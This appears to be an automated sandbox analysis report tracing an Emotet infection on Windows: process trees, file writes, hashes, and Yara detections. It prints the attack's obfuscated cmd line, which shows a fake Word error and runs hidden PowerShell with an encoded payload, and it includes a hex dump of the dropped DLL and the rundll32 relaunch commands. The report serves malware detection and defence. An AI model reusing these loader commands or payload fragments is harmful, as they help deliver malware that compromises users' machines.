00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 

04 00 00 00 80 06 00 00 2A 00 
00 00 43 00 3A 00 5C 00 55 
00 73 00 65 00 72 00 73 00 
5C 00 41 00 6C 00 62 00 75 
00 73 00 5C 00 41 00 70 00 
70 00 44 00 61 00 74 00 61 00 
5C 00 4C 00 6F 00 63 00 61 
00 6C 00 5C 00 54 00 65 00 
6D 00 70 00 5C 00 69 00 6D 
00 67 00 73 00 2E 00 68 00 74 
00 6D 00 04 00 00 00 69 00 
6D 00 67 00 73 00 00 00 00 
00 01 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 25 57 0F 
00 25 57 0F 00 00 00 00 00 
DB 04 00 00 02 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 FF 
FF FF FF 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 

success or wait 1 7FEE93B9AC0 unknown

Key Value ModifiedKey Value Modified
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00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 FF FF FF 
FF 

00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 FF FF FF FF 

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 10:31:38

Start date: 11/02/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. 
& p^owe^rs^he^ll^ -w hi^dd^en -^e^nc              IAAgAFMARQBUAC0AaQBUAGUATQAgAC
AAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQ
AoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC
0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQ
BDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUAC
AAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVA

Analysis Process: cmd.exe PID: 2424 Parent PID: 1220Analysis Process: cmd.exe PID: 2424 Parent PID: 1220

General
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Imagebase: 0x4a130000

File size: 345088 bytes

MD5 hash: 5746BD7E255DD6A8AFA06F7C42C1BA41

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 10:31:39

Start date: 11/02/2021

Path: C:\Windows\System32\msg.exe

Wow64 process (32bit): false

Commandline: msg  user /v Word experienced an error trying to open the file. 

Imagebase: 0xff800000

File size: 26112 bytes

MD5 hash: 2214979661E779C3E3C33D4F14E6F3AC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 10:31:39

Start date: 11/02/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell  -w hidden -enc              IAAgAFMARQBUAC0AaQBUAGUATQAgACAnalysis Process: msg.exe PID: 1320 Parent PID: 2424Analysis Process: msg.exe PID: 1320 Parent PID: 2424

General

Analysis Process: powershell.exe PID: 1100 Parent PID: 2424Analysis Process: powershell.exe PID: 1100 Parent PID: 2424

General
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File ActivitiesFile Activities
Imagebase: 0x13ff80000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\Vlj0ta0 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FEE84FBEC7 CreateDirectoryW

C:\Users\user\Vlj0ta0\Mtkd4y0 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FEE84FBEC7 CreateDirectoryW

File CreatedFile Created
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C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 6 7FEE84FBEC7 CreateFileW

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Completion Count
Source
Address Symbol

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll success or wait 5 7FEE84FBEC7 DeleteFileW

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll unknown 16384 4d 5a 90 00 03 00 00 
00 04 00 00 00 ff ff 
00 00 b8 00 00 00 00 
00 00 00 40 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 80 00 00 
00 0e 1f ba 0e 00 b4 
09 cd 21 b8 01 4c cd 
21 54 68 69 73 20 70 
72 6f 67 72 61 6d 20 
63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 
69 6e 20 44 4f 53 20 
6d 6f 64 65 2e 0d 0d 
0a 24 00 00 00 00 00 
00 00 50 45 00 00 4c 
01 09 00 89 46 0b 60 
00 00 00 00 00 00 00 
00 e0 00 0e 21 0b 01 
02 32 00 40 00 00 00 
12 05 00 00 00 00 00 
50 19 00 00 00 10 00 
00 00 50 00 00 00 00 
00 10 00 10 00 00 00 
02 00 00 03 00 00 00 
00 00 00 00 04 00 00 
00 00 00 00 00 00 d0 
05 00 00 04 00 00 a7 
c7 05 00 02 00 00 00 
00 00 10 00 00 10 00 
00 00 00 10 00 00 10 
00 00 00 00 00 00 10 
00 00 00 00 00 00 00 
00 00 00 

MZ......................@.....
..............................
............!..L.!This program 
cannot be run in DOS 
mode....
$.......PE..L....F.`..........
.!...2.@..........P........P..
..............................
..............................
...............

success or wait 22 7FEE84FBEC7 WriteFile

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE8365208 unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE8365208 unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE848A287 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 4096 success or wait 7 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 542 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEE84FBEC7 ReadFile

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read
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Registry ActivitiesRegistry Activities

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown 4096 success or wait 1 7FEE84569DF unknown

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown 512 success or wait 1 7FEE84569DF unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE84FBEC7 ReadFile

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE84FBEC7 ReadFile

C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE84569DF unknown

C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE84569DF unknown

C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 4096 success or wait 1 7FEE84569DF unknown

C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll unknown 512 success or wait 1 7FEE84569DF unknown

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 10:32:14

Start date: 11/02/2021

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\system32\rundll32.exe'  C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA

Imagebase: 0xff940000

File size: 45568 bytes

MD5 hash: DD81D91FF3B0763C392422865C9AC12E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: rundll32.exe PID: 2696 Parent PID: 1100Analysis Process: rundll32.exe PID: 2696 Parent PID: 1100

General

File ReadFile Read
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File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll unknown 64 success or wait 1 FF9427D0 ReadFile

C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll unknown 264 success or wait 1 FF94281C ReadFile

Start time: 10:32:14

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\system32\rundll32.exe'  C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000006.00000002.2170071042.0000000000200000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000006.00000002.2169962101.0000000000130000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000006.00000002.2173093562.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:32:19

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll',#1

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000007.00000002.2180978806.0000000000390000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000007.00000002.2180920287.0000000000370000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000007.00000002.2190752783.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

Analysis Process: rundll32.exe PID: 2724 Parent PID: 2696Analysis Process: rundll32.exe PID: 2724 Parent PID: 2696

General

Analysis Process: rundll32.exe PID: 1980 Parent PID: 2724Analysis Process: rundll32.exe PID: 1980 Parent PID: 2724

General
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File Path Offset Length Completion Count
Source
Address Symbol

Start time: 10:32:24

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gyuopigcwtoen\gfvxluzjzkjy
.upj',FOsZnZScT

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.2196520380.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.2193792895.00000000003B0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.2193729394.0000000000290000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:32:30

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gyuopigcwtoen\gfvxluzjzkjy
.upj',#1

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000009.00000002.2205331752.00000000003B0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000009.00000002.2205236491.0000000000200000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000009.00000002.2206333470.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

Analysis Process: rundll32.exe PID: 2452 Parent PID: 1980Analysis Process: rundll32.exe PID: 2452 Parent PID: 1980

General

Analysis Process: rundll32.exe PID: 2964 Parent PID: 2452Analysis Process: rundll32.exe PID: 2964 Parent PID: 2452

General
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Start time: 10:32:35

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ofzzkuwngkcnufwj
\wvmgxwsmudidtny.hvy',nQAMXkchr

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000A.00000002.2218317405.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000A.00000002.2216606355.0000000000200000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000A.00000002.2216643199.0000000000240000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:32:41

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ofzzkuwngkcnufwj
\wvmgxwsmudidtny.hvy',#1

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000B.00000002.2227039929.0000000000170000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000B.00000002.2227064696.0000000000210000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000B.00000002.2228163956.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

Analysis Process: rundll32.exe PID: 852 Parent PID: 2964Analysis Process: rundll32.exe PID: 852 Parent PID: 2964

General

Analysis Process: rundll32.exe PID: 2280 Parent PID: 852Analysis Process: rundll32.exe PID: 2280 Parent PID: 852

General

Analysis Process: rundll32.exe PID: 620 Parent PID: 2280Analysis Process: rundll32.exe PID: 620 Parent PID: 2280

General
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Start time: 10:32:46

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wjzei\rjte.fnz',ggJG

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000C.00000002.2237290824.0000000000250000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000C.00000002.2237360892.0000000000270000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000C.00000002.2239757544.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:32:50

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wjzei\rjte.fnz',#1

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

